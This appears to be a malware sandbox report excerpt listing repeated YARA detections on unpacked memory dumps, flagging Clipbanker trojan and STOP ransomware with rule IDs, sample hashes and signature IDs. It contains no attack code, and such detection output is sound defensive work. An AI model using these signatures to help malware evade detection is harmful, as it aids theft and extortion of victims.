Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 32.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 32.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 13.2.build3.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 13.2.build3.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 33.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 33.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 5.2.R5391762lf.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.R5391762lf.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 13.2.build3.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 13.2.build3.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 33.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 33.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 32.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 32.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0.2.R5391762lf.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.R5391762lf.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.R5391762lf.exe.5ec15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.R5391762lf.exe.5ec15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.R5391762lf.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.R5391762lf.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.R5391762lf.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.R5391762lf.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.R5391762lf.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.R5391762lf.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.R5391762lf.exe.5ec15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.R5391762lf.exe.5ec15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.R5391762lf.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.R5391762lf.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.R5391762lf.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.R5391762lf.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.R5391762lf.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.R5391762lf.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
